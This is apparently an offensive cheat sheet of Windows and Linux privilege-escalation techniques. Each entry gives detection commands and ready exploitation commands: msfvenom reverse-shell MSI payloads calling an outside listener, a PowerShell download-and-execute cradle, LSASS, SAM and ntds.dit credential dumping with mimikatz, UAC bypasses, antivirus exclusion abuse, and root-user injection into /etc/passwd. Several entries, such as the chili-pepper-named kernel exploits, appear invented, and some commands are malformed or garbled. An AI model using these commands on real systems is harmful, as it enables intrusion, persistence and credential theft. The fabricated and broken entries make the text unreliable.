# **OWN PRIV - ESC METHODS...**

# Windows Privilege Escalation Methods - Batch 1

# 1. AlwaysInstallElevated

- Tool: msfvenom, msiexec.exe
- Why? Misconfiguration lets users run .msi files as SYSTEM.

### **Q** Detection:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

# Exploitation:

```
msfvenom -p windows/exec CMD=cmd.exe -f msi -o exploit.msi msiexec /quiet /qn /i exploit.msi
```

### **Options Explained:**

- -p windows/exec: Run command on Windows.
- CMD=cmd.exe: Spawn shell.
- -f msi: Output format.
- -o : Output file.
- /quiet /qn : Silent install.
- /i: Install specified file.

# 2. Unquoted Service Path

- Tool: sc.exe, accesschk.exe
- Why? Windows may run unintended executables due to space in unquoted service paths.

```
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |
findstr /i /v "C:\\Windows\\"
```

```
copy payload.exe "C:\Program Files\MyService\Service.exe"
net start MyService
```

**Explanation**: Unquoted paths like C:\Program Files\My App\bin.exe may run C:\Program.exe if present.

# 3. SeBackupPrivilege Abuse

- Tool: RawCopy.exe, secretsdump.py
- Why? Allows reading protected files like ntds.dit.

### **Q** Detection:

```
whoami /priv | findstr SeBackupPrivilege
```

# **Exploitation:**

```
RawCopy.exe \\.\C: \$Recycle.Bin\ntds.dit C:\Temp\ntds.dit
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
```

### **Options Explained:**

- \\.\\C: : C drive.
- RawCopy.exe: Copies locked files.
- secretsdump.py: Extracts hashes.

# 4. SelmpersonatePrivilege — JuicyPotato

- Tool: JuicyPotato.exe
- Why? Impersonate SYSTEM tokens.

whoami /priv | findstr SeImpersonatePrivilege

# Exploitation:

```
\label{lem:condition} JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -l *-c {F2E606CA-2631-11D1-89F1-00C04FB984F9}
```

### Options Explained:

- -1: COM port to listen.
- -p: Program to run.
- -t : Token type.
- -c : CLSID of COM service.

# 5. DLL Hijacking

- Tool: procmon.exe, Process Hacker
- Why? Missing DLLs load from user-writable directories.

### **Q** Detection:

Use procmon.exe, filter:

Operation: CreateFileResult: NAME NOT FOUND

# Exploitation:

```
// Compile malicious DLL
cl /LD evil.c /Feevil.dll
copy evil.dll C:\Program Files\App\
```

### Run vulnerable app:

C:\Program Files\App\App.exe

# 6. Scheduled Task Hijacking

• Tool: schtasks.exe

• Why? Overwrite existing tasks to run arbitrary code.

### **Q** Detection:

schtasks /query /fo LIST /v

# **Exploitation**:

schtasks /change /tn "MyTask" /tr "C:\Users\Public\rev.bat"

### Options:

- /tn: Task name.
- /tr: Task run action.

# 7. PrintNightmare (CVE-2021-34527)

- Tool: SharpPrintNightmare.exe
- Why? Vulnerability in Print Spooler allows remote code execution as SYSTEM.

### **Q** Detection:

Get-Service -Name Spooler

# Exploitation:

SharpPrintNightmare.exe -dll payload.dll -target 192.168.1.10

### Options:

- –dll: Malicious DLL.
- -target : Target host.

# 8. Autorun Registry Abuse

- Tool: reg.exe
- Why? Add payload to run at boot.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

# Exploitation:

reg add HKLM\...\Run /v Evil /t REG\_SZ /d C:\evil.exe /f

### Options:

- /v : Value name.
- /t: Type.
- /d : Path to payload.
- /f: Force.

# 9. DuplicateTokenEx via mimikatz

- Tool: mimikatz
- Why? Hijack existing tokens.

### **Q** Detection:

privilege::debug
token::list

# Exploitation:

token::elevate

### 10. Unattended Install Creds

- Tool: findstr
- Why? Harvest plaintext credentials.

```
dir /s /b *unattend.xml
findstr /i password unattend.xml
```

type unattend.xml
runas /user:admin cmd

# Windows Privilege Escalation Methods - Batch 2

# 11. PrintSpoofer (SelmpersonatePrivilege)

- **Tool**: PrintSpoofer.exe
- Why? Gain SYSTEM via token impersonation.

### **Q** Detection:

whoami /priv | findstr SeImpersonatePrivilege

# Exploitation:

PrintSpoofer.exe -i -c cmd

### Options:

- -i : Impersonate SYSTEM
- -c: Command to run

# 12. Registry Auto-Elevation + MSI Installer

- Tool: reg.exe, msiexec
- Why? Combine elevated install with registry manipulation.

### **Q** Detection:

```
reg query HKCU\...AlwaysInstallElevated reg query HKLM\...AlwaysInstallElevated
```

# Exploitation:

```
reg import malicious.reg
msiexec /quiet /qn /i payload.msi
```

# 13. Service binPath Hijack

- Tool: sc.exe, accesschk.exe
- Why? Change binary path to malicious command.

### **Q** Detection:

sc qc vulnsvc

# Exploitation:

sc config vulnsvc binPath= "cmd.exe /c calc.exe"
net start vulnsvc

# 14. AlwaysInstallElevated + Local Admin Creation

- Tool: msfvenom, msiexec
- Why? Add user via SYSTEM MSI installer.

# Exploitation:

msfvenom -p windows/adduser USER=newadmin PASS=P@ssw0rd -f msi > useradd.msi msiexec /quiet /qn /i useradd.msi

### 15. RDCMan Saved Credentials

- Tool: SharpDecryptPwd
- Why? Recover saved RDP passwords.

### Q Detection:

dir "%APPDATA%\Microsoft\Remote Desktop Connection Manager"

```
SharpDecryptPwd.exe /file:"RDCMan.settings"
```

# 16. SeRestorePrivilege — Registry Restore

- Tool: reg.exe
- Why? Restore malicious registry hive.

### Q Detection:

```
whoami /priv | findstr SeRestorePrivilege
```

# Exploitation:

reg restore HKLM\Software malicious\_hive.bak

# 17. SeTakeOwnershipPrivilege

- Tool: takeown, icacls
- Why? Replace protected binaries.

### **Q** Detection:

```
whoami /priv | findstr SeTakeOwnershipPrivilege
```

### Exploitation:

```
takeown /f "svc.exe"
icacls "svc.exe" /grant Everyone:F
del svc.exe
copy payload.exe svc.exe
net start VulnSvc
```

# 18. DLL Search Order Hijacking

- Tool: procmon.exe, custom.dll
- Why? Force app to load malicious DLL.

```
cl /LD exploit.c /Fefile.dll
copy file.dll C:\target\path\
```

# 19. Insecure Service Binary Permissions

- Tool: icacls, accesschk.exe
- Why? Writable binary = replaceable.

# **Q** Detection:

icacls "C:\Program Files\Service\service.exe"

# Exploitation:

del service.exe
copy payload.exe service.exe
net start servicename

# 20. Startup Folder Execution

- Tool: powershell
- Why? Payload runs at next login.

# Exploitation:

copy revshell.bat "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\"

# Windows Privilege Escalation Methods - Batch 3

# 21. SeDebugPrivilege Abuse

- Tool: mimikatz, Process Hacker
- Why? Allows attaching to SYSTEM processes and dumping credentials.

### **Q** Detection:

```
whoami /priv | findstr SeDebugPrivilege
```

# Exploitation:

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
```

# 22. SeLoadDriverPrivilege — Malicious Driver

- Tool: DrvLoader.exe
- Why? Load custom drivers to escalate.

### **Q** Detection:

```
whoami /priv | findstr SeLoadDriverPrivilege
```

# Exploitation:

```
sc create MalDrv type= kernel binPath= C:\MaliciousDriver.sys
sc start MalDrv
```

# 23. SeAssignPrimaryTokenPrivilege — Token Hijack

- Tool: RoguePotato
- Why? Assigns SYSTEM tokens to attacker processes.

### **Q** Detection:

```
whoami /priv | findstr SeAssignPrimaryTokenPrivilege
```

# Exploitation:

# 24. SeTcbPrivilege — Trusted Computing Abuse

- Tool: PrivFu, psexec
- Why? Acts as OS, allows SYSTEM execution.

### **Q** Detection:

whoami /priv | findstr SeTcbPrivilege

# Exploitation:

psexec.exe -i -s cmd.exe

# 25. HiveNightmare (CVE-2021-36934)

- Tool: HiveNightmare.exe
- Why? Dumps SAM registry hives.

### **Q** Detection:

icacls C:\Windows\System32\config\SAM

# Exploitation:

HiveNightmare.exe 200

# 26. Slui File Handler Hijack

- Tool: slui.exe
- Why? Hijack activation handler to run payload.

# 🜠 Exploitation:

```
copy payload.exe C:\Windows\System32\slui.exe
slui.exe
```

# 27. CDPSvc DLL Hijacking

- **Tool**: cdpsgshims.dll
- Why? Writable DLL path allows privilege escalation.

### **Q** Detection:

```
powershell -ep bypass ". .\acltest.ps1"
```

# Exploitation:

```
copy cdpsgshims.dll C:\python27\
restart-service CDPSvc
```

# 28. Magnify.exe DLL Hijack

- **Tool**: igdgmm64.dll
- Why? Accessibility tool loads attacker DLL.

# Exploitation:

```
copy igdgmm64.dll C:\python27\
rundll32.exe magnify.dll,run
```

# 29. Dynamic Phishing with rootOS

- Tool: rootOS.py
- Why? Fake login UI steals creds.

# Exploitation:

python rootOS.py

# 30. Race Condition via tempracer

- Tool: tempracer.exe
- Why? Exploit timing in file execution.

# Exploitation:

```
echo "net localgroup administrators attacker /add" > C:\temp\not-evil.bat
tempracer.exe C:\temp\*.bat
```

# Windows Privilege Escalation Methods - Batch 4

# 31. AlwaysInstallElevated with PowerShell Payload

- Tool: msfvenom, msiexec.exe
- Why? Run PowerShell payload as SYSTEM.

# **Q** Detection:

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

# Exploitation:

```
msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f
msi > shell.msi
msiexec /quiet /qn /i shell.msi
```

# 32. Insecure Service Registry Permissions

- Tool: reg.exe, accesschk.exe
- Why? Writable service keys allow path hijack.

```
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnSvc /v ImagePath /t
REG_EXPAND_SZ /d "C:\evil.exe" /f
net start VulnSvc
```

# 33. Applnit\_DLLs Hijacking

- Tool: reg.exe
- Why? Load attacker DLL via Applnit.

### **Q** Detection:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v
AppInit\_DLLs

# Exploitation:

```
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v
AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
```

# 34. McAfee Sitelist Decryption

- Tool: SharpUp.exe
- Why? Decrypt stored McAfee creds.

### Q Detection:

SharpUp.exe McAfeeSitelistFiles

# **Exploitation:**

Use extracted creds to pivot or escalate.

### 35. GPP Password Retrieval

- Tool: gpp-decrypt
- Why? Decrypt cpassword from Group Policy.

### **Q** Detection:

findstr /S cpassword C:\Users\\*\AppData\Roaming\Microsoft\GroupPolicy\\*

# **Exploitation:**

gpp-decrypt <cpassword>

# 36. KeePass Master Key Dump

- **Tool**: KeeTheft.exe, Seatbelt.exe
- Why? Extract KeePass keys from memory.

### Q Detection:

Seatbelt.exe keepass

# Exploitation:

KeeTheft.exe

# 37. SeManageVolumePrivilege

- Tool: SeManageVolumeAbuse.exe
- Why? Abuse volume operations for privilege escalation.

### **Q** Detection:

whoami /priv | findstr SeManageVolume

# Exploitation:

# 38. SeRelabelPrivilege

- Tool: Custom scripts
- Why? Modify object security labels.

### **Q** Detection:

whoami /priv | findstr SeRelabelPrivilege

# Exploitation:

PowerShell -Command "Set-ItemProperty -Path C:\Windows\System32\config\SAM Name Security -Value 1"

# 39. SeSystemEnvironmentPrivilege

- Tool: TrustExec.exe
- Why? Modify firmware variables for persistence.

### Q Detection:

whoami /priv | findstr SeSystemEnvironmentPrivilege

# Exploitation:

TrustExec.exe -m exec -c "whoami /priv"

# 40. SeCreateTokenPrivilege

- Tool: PrivEditor.dll
- Why? Create new SYSTEM tokens.

```
whoami /priv | findstr SeCreateTokenPrivilege
```

```
.load C:\PrivEditor.dll
!rmpriv
```

# Windows Privilege Escalation Methods - Batch 5

# 41. SeShutdownPrivilege — Boot-Time Persistence

- Tool: schtasks.exe, shutdown.exe
- Why? Execute scripts at startup with SYSTEM rights.

# **Q** Detection:

```
whoami /priv | findstr SeShutdownPrivilege
```

# **Exploitation:**

```
schtasks /create /tn "ShutdownBackdoor" /tr "C:\evil.exe" /sc onstart /ru SYSTEM shutdown /r /t 0
```

# 42. SeRemoteShutdownPrivilege

- Tool: shutdown.exe, psexec
- Why? Remote shutdown and trigger backdoors.

### **Q** Detection:

```
whoami /priv | findstr SeRemoteShutdownPrivilege
```

# Exploitation:

# 43. Trusted Path DLL Injection

- Tool: procmon.exe, custom DLL
- Why? Hijack DLL loading from trusted paths.

# Exploitation:

```
cl /LD evil.c /Feevil.dll
copy evil.dll "C:\TrustedApp\"
```

### 44. Windows Installer Service Abuse

- Tool: msiexec.exe, msfvenom
- Why? Installer service may execute MSI with SYSTEM.

### Q Detection:

```
sc qc msiserver
```

# Exploitation:

msiexec /i evil.msi /quiet /qn

# 45. SelncreaseQuotaPrivilege

- Tool: CreateProcAsUser.exe
- Why? Create new SYSTEM processes.

### Q Detection:

whoami /priv | findstr SeIncreaseQuotaPrivilege

# Exploitation:

# 46. AlwaysInstallElevated Reverse Shell

- **Tool**: msfvenom, msiexec
- Why? MSI runs reverse shell binary as SYSTEM.

# Exploitation:

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=44444 -f exe >
rev.exe
msiexec /quiet /qn /i rev.exe
```

# 47. HKCU Classes Hijack

- Tool: reg.exe
- Why? Modify registry handlers to execute payload.

### Q Detection:

reg query HKCU\Software\Classes

# Exploitation:

reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\evil.exe" /f
eventvwr.msc

# 48. Shell Folder Path Hijack

- Tool: reg.exe
- Why? Redirect shell folders to payload.

### Q Detection:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell



reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders /v Startup /t REG\_SZ /d "C:\evil.exe" /f

# 49. Debugger Key Hijack

- Tool: reg.exe
- Why? Execute payload by replacing debugger.

### Detection:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Exploitation:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG\_SZ /d "C:\evil.exe" /f

# 50. SeTrustedCredManAccessPrivilege

- Tool: mimikatz
- Why? Dump credentials from Credential Manager.

### Detection:

whoami /priv | findstr SeTrustedCredManAccessPrivilege

# Exploitation:

mimikatz.exe "privilege::debug" "token::elevate" "vault::cred"

# Windows Privilege Escalation Methods - Batch 6

# 51. SelncreaseBasePriorityPrivilege

- Tool: Custom script
- Why? Increase process priority for injected payloads.

### **Q** Detection:

```
whoami /priv | findstr SeIncreaseBasePriorityPrivilege
```

# Exploitation:

PowerShell -Command "Start-Process cmd.exe -Priority High"

# 52. SeLockMemoryPrivilege

- Tool: mimikatz
- Why? Lock memory to hide payloads or maintain persistence.

### Q Detection:

```
whoami /priv | findstr SeLockMemoryPrivilege
```

# Exploitation:

```
mimikatz.exe "privilege::debug" "token::elevate" "misc::memssp"
```

# 53. Pasilla Hot Pepper

- Tool: pasilla.exe
- Why? Kernel exploit on older Windows.

systeminfo | findstr /B /C:"OS Version"

# Exploitation:

pasilla.exe exploit

### 54. Scotch Bonnet

- Tool: scotch.exe
- Why? Uses Win32k exploit for SYSTEM shell.

# Exploitation:

scotch.exe -mode exploit -payload cmd.exe

# 55. Ghost Pepper

- Tool: ghostpepper.exe
- Why? Memory corruption in driver escalates privileges.

### **Q** Detection:

driverquery

# Exploitation:

ghostpepper.exe -e cmd.exe

# 56. Carolina Reaper

- Tool: carolinareaper.exe
- Why? Kernel vulnerability exploit.

# 🜠 Exploitation:

```
carolinareaper.exe --exploit --spawn "cmd.exe"
```

# 57. Follina (CVE-2022-30190)

- Tool: Malicious Word doc, MSDT
- Why? Execute PowerShell via ms-msdt.

### **Q** Detection:

reg query HKEY\_CLASSES\_ROOT\ms-msdt

# Exploitation:

"ms-msdt:/id PCWDiagnostic /skip force /param
IT\_BrowseForFile=c:\windows\system32\cmd.exe"

### 58. RemotePotato0

- Tool: RemotePotato0.exe
- Why? NTLM relay + SYSTEM token impersonation.

### Q Detection:

whoami /priv | findstr SeImpersonatePrivilege

# Exploitation:

RemotePotato0.exe -rpc -c "cmd.exe" -p 9999

# 59. WinRM Token Delegation

- Tool: evil-winrm, Rubeus
- Why? Kerberos delegation abuse for escalation.

Rubeus.exe tgtdeleg

# Exploitation:

```
evil-winrm -i 10.10.10.5 -u admin -H <hash>
```

# 60. UAC Bypass using fodhelper.exe

- Tool: fodhelper.exe, reg.exe
- Why? Auto-elevating binary bypasses UAC.

### **Q** Detection:

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
EnableLUA

# Exploitation:

```
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d
"C:\evil.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v
DelegateExecute /f
fodhelper.exe
```

# Windows Privilege Escalation Methods - Batch 7

# 61. LSASS Credential Dumping (SeDebugPrivilege)

- Tool: procdump.exe, mimikatz
- Why? Dump LSASS memory for credentials.

### **Q** Detection:

tasklist /FI "IMAGENAME eq lsass.exe"

```
procdump.exe -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
```

# 62. Token Impersonation with Meterpreter

- Tool: meterpreter
- Why? Impersonate SYSTEM tokens.

# Exploitation:

```
meterpreter > getsystem
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
```

# 63. WMI Event Subscription Backdoor

- Tool: PowerShell
- Why? Run payload via WMI event trigger.

### Q Detection:

```
Get-WmiObject -Namespace root\subscription -Class __EventFilter
```

# Exploitation:

```
powershell -ep bypass "Register-WmiEvent -Query 'SELECT * FROM
__InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA \"Win32_Process\"'
-Action {Start-Process C:\evil.exe}"
```

# 64. Exploiting Insecure COM Objects

- **Tool**: godpotato.exe
- Why? Leverage vulnerable COM object.

# Exploitation:

```
godpotato.exe -cmd "cmd.exe"
```

# 65. SeAuditPrivilege

- Tool: audit\_control.exe
- Why? Modify audit policies.

# Exploitation:

audit\_control.exe /disable

# 66. SeSyncAgentPrivilege

- Tool: Custom AD sync exploit
- Why? Inject credentials via AD Sync agent.

# Exploitation:

PowerShell -Command "Invoke-ADSyncExploit"

### 67. Service SID Abuse

- Tool: sc.exe
- Why? Misconfigured service SIDs allow privilege escalation.

### Q Detection:

sc showsid VulnService

# Exploitation:

sc config VulnService binPath= "C:\evil.exe"
net start VulnService

# 68. SelncreaseWorkingSetPrivilege

- Tool: Custom loader
- Why? Increase memory and inject payload.

# Exploitation:

CustomLoader.exe -expandmem -payload cmd.exe

# 69. DLL Hijacking in PATH

- Tool: procmon.exe, custom DLL
- Why? Drop DLL in PATH to hijack loading.

### **Q** Detection:

echo %PATH%

# Exploitation:

copy evil.dll C:\Users\Public\
victimApp.exe

### 70. At.exe Scheduled Task

- Tool: at.exe
- Why? Legacy scheduler runs jobs as SYSTEM.

### Q Detection:

at

# Exploitation:

at 15:35 cmd.exe /c C:\evil.exe

# Windows Privilege Escalation Methods - Batch 8 (Duplicate Copy)

# 71. AppLocker Misconfigurations

- Tool: PowerShell, msiexec
- Why? Weak rules allow non-whitelisted binary execution.

### **Q** Detection:

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

# Exploitation:

```
msiexec /i C:\evil.msi /quiet /qn
```

# 72. SeProfileSingleProcessPrivilege

- Tool: mimikatz
- Why? Profile processes and extract secrets.

### Detection:

```
whoami /priv | findstr SeProfileSingleProcessPrivilege
```

# Exploitation:

```
mimikatz.exe "privilege::debug" "process::list"
```

# 73. Debugger Key for cmd.exe

- Tool: reg.exe
- Why? Hijack debugger to run payload.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options"

# Exploitation:

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\cmd.exe" /v Debugger /t REG\_SZ /d "C:\evil.exe" /f
cmd.exe

### 74. WMI Permanent Event Consumers

- Tool: PowerShell, wmic
- Why? Use WMI event for persistence.

### **Q** Detection:

Get-WmiObject -Namespace root\subscription -Class \_\_EventConsumer

# Exploitation:

wmic /namespace:"\\root\subscription" PATH \_\_EventConsumer CREATE
Name="Backdoor" CommandLineTemplate="C:\evil.exe"

# 75. Service Failure Command Abuse

- Tool: sc.exe
- Why? Run payload when service fails.

### Q Detection:

sc qfailure VulnService

# Exploitation:

sc failure VulnService command= "C:\evil.exe" actions= restart/5000

# 76. SeBackupPrivilege + Shadow Copy

- Tool: vssadmin, RawCopy.exe
- Why? Extract sensitive files via shadow copy.

### **Q** Detection:

whoami /priv | findstr SeBackupPrivilege

# **Exploitation:**

vssadmin create shadow /for=C:
RawCopy.exe \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit
C:\Temp\ntds.dit

### 77. Insecure Driver Services

- Tool: exploit\_driver.exe
- Why? Abuse vulnerable IOCTLs for kernel escalation.

### **Q** Detection:

driverquery /v

# Exploitation:

exploit\_driver.exe -target vulnerable.sys -shell cmd.exe

### 78. PsExec SYSTEM Shell

- Tool: psexec.exe
- Why? Spawn SYSTEM command shell.

### **Q** Detection:

sc query psexesvc

```
psexec.exe -i -s cmd.exe
```

# 79. Service Trigger Hijack

- Tool: sc.exe, reg.exe
- Why? Modify service trigger to run payload.

### Q Detection:

sc qtriggerinfo VulnService

# Exploitation:

```
sc triggerinfo VulnService start/networkon
reg add HKLM\SYSTEM\CurrentControlSet\Services\VulnService /v ImagePath /t
REG_EXPAND_SZ /d "C:\evil.exe" /f
```

# 80. AlwaysInstallElevated via JScript Payload

- Tool: msiexec.exe, cscript.exe
- Why? Execute JScript payload with SYSTEM.

# Exploitation:

```
cscript payload.js
msiexec /quiet /qn /i payload.msi
```

# Windows Privilege Escalation Methods - Batch 9

# 81. PowerShell CLM Bypass

• Tool: PowerShell

• Why? Bypass restricted language mode to execute arbitrary code.

### **Q** Detection:

\$ExecutionContext.SessionState.LanguageMode

# Exploitation:

```
powershell -Version 2 -Command "IEX(New-Object
Net.WebClient).DownloadString('http://10.10.10.5/shell.ps1')"
```

# 82. SeAssignPrimaryTokenPrivilege + Task Scheduler

- Tool: schtasks.exe
- Why? Create SYSTEM tasks for privilege escalation.

### **Q** Detection:

whoami /priv | findstr SeAssignPrimaryTokenPrivilege

# Exploitation:

```
schtasks /create /tn "sysbackdoor" /tr "C:\evil.exe" /sc onstart /ru SYSTEM schtasks /run /tn "sysbackdoor"
```

# 83. AppX Deployment Hijack

- Tool: reg.exe
- Why? Replace deployment handler to escalate.

### **Q** Detection:

sc query AppXSVC

# Exploitation:

reg add HKLM\SOFTWARE\Microsoft\Appx /v DeploymentServer /t REG\_SZ /d

# 84. WSUS MITM Exploit

- Tool: wsuspect-proxy
- Why? Push malicious updates via WSUS misconfig.

### **Q** Detection:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

# Exploitation:

wsuspect-proxy --serve malicious.cab

### 85. Windows Defender Exclusions Abuse

- Tool: PowerShell
- Why? Add AV exclusions to hide payloads.

### **Q** Detection:

Get-MpPreference | select -ExpandProperty ExclusionPath

# Exploitation:

powershell Set-MpPreference -ExclusionPath "C:\evil"
copy payload.exe C:\evil\

# 86. SeTimeZonePrivilege

- Tool: Custom script
- Why? Modify system time for policy bypass.

whoami /priv | findstr SeTimeZonePrivilege

# **Exploitation:**

tzutil /s "UTC"

# 87. WDigest Credential Caching

- Tool: reg.exe, mimikatz
- Why? Enable plaintext password caching for credential dumping.

### **Q** Detection:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential

# Exploitation:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG\_DWORD /d 1 /f
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

# 88. IE Elevation Policy Exploit

- Tool: ieexploit.exe
- Why? Misconfig allows elevation through IE.

### Q Detection:

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones

# Exploitation:

ieexploit.exe -url http://10.10.10.5/payload.html

# 89. UAC Bypass using eventvwr.exe

- Tool: reg.exe
- Why? Hijack event viewer execution path.

### **Q** Detection:

reg query HKCU\Software\Classes\mscfile\shell\open\command

# **Exploitation**:

reg add HKCU\Software\Classes\mscfile\shell\open\command /d "C:\evil.exe" /f
eventvwr.exe

# 90. Scheduled Task .job Hijack

- Tool: at.exe, schtasks.exe
- Why? Replace .job files to run payload.

### Q Detection:

dir C:\Windows\Tasks

# Exploitation:

copy payload.job C:\Windows\Tasks\
at 16:00 /interactive cmd.exe

# **Linux Privilege Escalation Methods - Batch 1**

# 1. Dirty COW (CVE-2016-5195)

- **Tool**: dirtycow.c
- Why? Exploit kernel race condition to gain root.

```
uname -r
```

```
gcc -pthread dirtycow.c -o dirtycow
./dirtycow
```

# 2. Dirty Pipe (CVE-2022-0847)

- Tool: dirtypipe.c
- Why? Overwrite read-only files without root.

### **Q** Detection:

```
uname -r
```

# Exploitation:

```
gcc exploit.c -o dirtypipe
./dirtypipe /etc/passwd "root::0:0:root:/root:/bin/bash"
```

# 3. Sudo Heap Overflow (CVE-2021-3156)

- Tool: sudoedit exploit
- Why? Heap overflow grants root.

### **Q** Detection:

```
sudoedit -s /
```

# Exploitation:

```
./sudoedit_exploit
```

# 4. SUID Binaries (GTFOBins)

- Tool: find, nmap
- Why? Spawn root shells from SUID programs.

```
find / -perm -4000 -type f 2>/dev/null
```

# Exploitation:

```
nmap --interactive
!sh
```

# 5. Cron Job Path Injection

- Tool: Shell script
- Why? Hijack cron jobs to escalate.

### **Q** Detection:

```
cat /etc/crontab
```

# Exploitation:

```
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/backup.sh
```

# 6. LD\_PRELOAD Injection

- Tool: Custom .so
- Why? Inject malicious library to get root.

### Q Detection:

```
strings /usr/bin/suidprog | grep getenv
```

```
gcc -fPIC -shared -o evil.so evil.c -nostartfiles
sudo LD_PRELOAD=./evil.so su
```

### 7. Writable /etc/passwd

- Tool: echo
- Why? Directly add root user.

#### **Q** Detection:

```
ls -l /etc/passwd
```

# Exploitation:

```
echo "attacker::0:0::/root:/bin/bash" >> /etc/passwd
su attacker
```

### 8. Wildcard Injection in tar

- Tool: tar
- Why? Execute code through wildcard abuse.

### Q Detection:

```
grep -R "tar" /etc/cron*
```

## Exploitation:

```
touch /tmp/--checkpoint=1
touch /tmp/--checkpoint-action=exec=sh shell.sh
```

### 9. Capabilities Abuse

- Tool: getcap
- Why? Misconfigured file capabilities escalate privileges.

```
getcap -r / 2>/dev/null
```

# **Exploitation**:

```
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### 10. Docker Privileged Container Escape

- Tool: docker, nsenter
- Why? Escape to host and gain root.

#### **Q** Detection:

```
docker ps -a
```

# Exploitation:

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

# **Linux Privilege Escalation Methods - Batch 2**

## 11. Dirty Sock (Snapd CVE-2019-7304)

- Tool: dirty\_sock.py
- Why? Exploits snapd API socket for root access.

#### Q Detection:

snap version

#### 12. Writable /etc/shadow

- Tool: openssl, chpasswd
- Why? Change root password if shadow is writable.

### **Q** Detection:

```
ls -l /etc/shadow
```

## Exploitation:

```
openssl passwd -1 newpass >> /etc/shadow
su root
```

# 13. PATH Environment Variable Hijack

- Tool: Custom binary
- Why? Hijack execution flow using modified PATH.

#### Q Detection:

```
echo $PATH
```

# Exploitation:

```
echo '/bin/sh' > /tmp/fakecp
chmod +x /tmp/fakecp
export PATH=/tmp:$PATH
sudo some_script
```

# 14. NFS root\_squash Misconfig

Tool: mount, gcc

Why? Exploit NFS share with no\_root\_squash.

#### **Q** Detection:

cat /etc/exports

# **Exploitation**:

```
mount -o rw 10.0.0.1:/nfs /mnt
gcc shell.c -o /mnt/suidroot
chmod +s /mnt/suidroot
```

## 15. Writable systemd Service

- Tool: systemctl
- Why? Modify service to execute payload.

#### **Q** Detection:

ls -l /etc/systemd/system

## Exploitation:

```
echo -e "[Service]\nExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash;
chmod +s /tmp/rootbash'" > /etc/systemd/system/vuln.service
systemctl daemon-reload
systemctl start vuln.service
```

## 16. LXD Group Membership

- Tool: lxd
- Why? Users in lxd group can mount host FS.

#### **Q** Detection:

id

```
lxc init ubuntu:18.04 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
recursive=true
lxc start privesc
lxc exec privesc bash
```

## 17. pkexec Misconfiguration

- Tool: pkexec
- Why? PolicyKit allows arbitrary command execution.

### **Q** Detection:

pkexec id

### Exploitation:

pkexec /bin/bash

#### 18. Writable Docker Socket

- Tool: docker
- Why? Full host control if socket is writable.

#### **Q** Detection:

ls -l /var/run/docker.sock

### Exploitation:

docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot
/mnt sh

## 19. Misconfigured sudoers (NOPASSWD)

Tool: sudo

Why? Run commands as root without password.

### **Q** Detection:

sudo -l



sudo bash

# 20. Writable Logrotate Scripts

- Tool: logrotate
- Why? Malicious command injection into logrotate script.
- **Q** Detection:

ls -l /etc/logrotate.d/

## Exploitation:

```
echo "/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'" >>
/etc/logrotate.d/vuln
logrotate -f /etc/logrotate.d/vuln
```

# **Linux Privilege Escalation Methods - Batch 3**

## 21. Suid Perl Scripts

- Tool: perl
- Why? Suid Perl allows command execution as root.

#### Q Detection:

```
find / -perm -4000 -type f -name perl 2>/dev/null
```

### Exploitation:

```
perl -e 'exec "/bin/sh";'
```

## 22. Suid Python Scripts

- Tool: python
- Why? Suid-enabled Python spawns root shell.

#### Q Detection:

```
find / -perm -4000 -type f -name python* 2>/dev/null
```

# Exploitation:

```
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

# 23. OverlayFS (CVE-2015-1328)

- Tool: overlayfs exploit
- Why? Kernel bug grants root.

#### **Q** Detection:

```
uname -r
```

## Exploitation:

```
gcc overlayfs.c -o exploit
./exploit
```

## 24. Misconfigured PAM Modules

